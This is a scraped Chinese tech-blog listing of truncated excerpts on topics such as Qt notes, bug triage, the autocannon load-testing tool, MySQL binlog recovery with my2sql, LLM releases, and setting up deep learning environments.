Bug等级&#xff1a;崩溃、严重、一般、次要 bug的生命周期 面试高频考题&#xff1a;跟开发产生争执怎么办&#xff1f; (1)反思自己&#xff0c;是不是bug描述写的不清楚 (2)站在用户思考问题&#xff0c;反问开发人员&#xff1a;“如果你是用户&#xff0c;你能接受这样…

【QT】学习笔记1

QT概述 Qt是一个1991年由QtCompany开发的跨平台C图形用户界面应用程序开发框架。它既可以开发GUI程序&#xff0c;也可用于开发非GUI程序&#xff0c;比如控制台工具和服务器。Qt是面向对象的框架&#xff0c;使用特殊的代码生成扩展&#xff08;称为元对象编译器&#xff08;…

英伟达开源253B语言模型:Llama-3.1-Nemotron-Ultra-253B-v1 模型情况

Llama-3.1-Nemotron-Ultra-253B-v1 模型情况 1. 模型概述 Llama-3.1-Nemotron-Ultra-253B-v1 是一个基于 Meta Llama-3.1-405B-Instruct 的大型语言模型 (LLM)&#xff0c;专为推理、人类对话偏好和任务&#xff08;如 RAG 和工具调用&#xff09;而优化。该模型支持 128K 令…

质检LIMS系统在半导体制造行业的应用 半导体质量革命的现状

在半导体这个“工业皇冠上的明珠”领域&#xff0c;纳米级的精度要求与质量管控如同硬币的两面。随着芯片制程向3nm、2nm演进&#xff0c;传统质检模式已难以满足海量数据、复杂工艺的质量追溯需求。质检LIMS实验室系统作为质量管理的中枢神经&#xff0c;正在重构半导体制造的…

面向对象高级(1)

文章目录 final认识final关键字修饰类&#xff1a;修饰方法&#xff1a;修饰变量final修饰变量的注意事项 常量 单例类什么是设计模式&#xff1f;单例怎么写?饿汉式单例的特点是什么&#xff1f;单例有啥应用场景&#xff0c;有啥好处&#xff1f;懒汉式单例类。 枚举类认识枚…

HTTP 压力测试工具autocannon(AI)

简介 autocannon 是一款基于 Node.js 的高性能 HTTP 压力测试工具&#xff0c;适用于评估 Web 服务的并发处理能力和性能瓶颈。 一、工具特点 高性能‌&#xff1a;利用 Node.js 异步非阻塞机制模拟高并发请求‌。‌实时监控‌&#xff1a;测试过程中动态展示请求统计和性能…

my2sql工具恢复误删数据

一、下载my2sql my2sql下载地址https://github.com/liuhr/my2sql/blob/master/releases/centOS_release_7.x/my2sql 二、my2sql工具注意事项 1. binlog格式必须为row&#xff0c;且binlog_row_imagefull 原因&#xff1a;binlog_row_image 参数决定了 binlog 中是否记录完整的…

【AGI-Eval行业动态】OpenAI 语音模型三连发,AI 语音进入“声优”时代

前言&#xff1a;OpenAI又双叒叕搞事情了&#xff01;这次他们带着三款全新语音模型强势来袭&#xff0c;直接让 AI 语音界卷出新高度&#xff01;无论是语音识别的精准度、还是根据文字生成音频的脑洞&#xff0c;这三款模型都堪称“神仙打架”。 如果你还在用老掉牙的语音助手…

蓝桥杯嵌入式十四届模拟一(eeprom)

一.LED 先配置LED的八个引脚为GPIO_OutPut&#xff0c;锁存器PD2也是&#xff0c;然后都设置为起始高电平&#xff0c;生成代码时还要去解决引脚冲突问题 二.按键 按键配置&#xff0c;由原理图按键所对引脚要GPIO_Input 生成代码&#xff0c;在文件夹中添加code文件夹&#…

DevOps与功能安全:Perforce ALM通过ISO 26262合规认证,简化安全关键系统开发流程

本文来源perforce.com&#xff0c;由Perforce中国授权合作伙伴、DevSecOps解决方案提供商-龙智翻译整理。 近日&#xff0c;Perforce ALM&#xff08;原Helix ALM&#xff09;通过了国际权威认证机构 TV SD的ISO 26262功能安全流程认证&#xff01;该认证涵盖Perforce ALM解决方…

【图片识别改名工具】如何识别图片中文字内容,并根据文字对图片批量重命名批量改名,基于WPF和腾讯OCR的完整实现

​​办公场景​​ ​​批量处理图片文件​​:用户有一批图片文件,图片中包含文字信息(如编号、日期、名称等),需要根据图片中的文字内容对图片进行重命名。​​自动化办公​​:在办公场景中,用户需要将图片文件按内容分类或归档,手动重命名效率低下,自动化工具可以大幅…

Dify+DeepSeek能做出什么来?快速构建可扩展的 AI 应用

将 Dify&#xff08;开源 LLM 应用开发平台&#xff09;与 DeepSeek&#xff08;深度求索公司的高性能大模型&#xff0c;如 DeepSeek-R1 或 DeepSeek-Lite&#xff09;结合使用&#xff0c;可以充分发挥两者的优势&#xff0c;快速构建高效、灵活且可扩展的 AI 应用。以下是具…

【深度学习】Ubuntu 服务器配置开源项目FIGRET(PyTorch、torch-scatter、torch-sparse、Gurobi 安装)

开源项目网址&#xff1a;https://github.com/FIGRET/figret 该项目在SIGCOMM2024发表&#xff0c;用深度学习方法处理流量工程中的突发问题 1. 创建新的 Conda 环境 使用国内镜像源创建环境​ conda create -n figret python3.8.0 --override-channels -c https://mirrors.…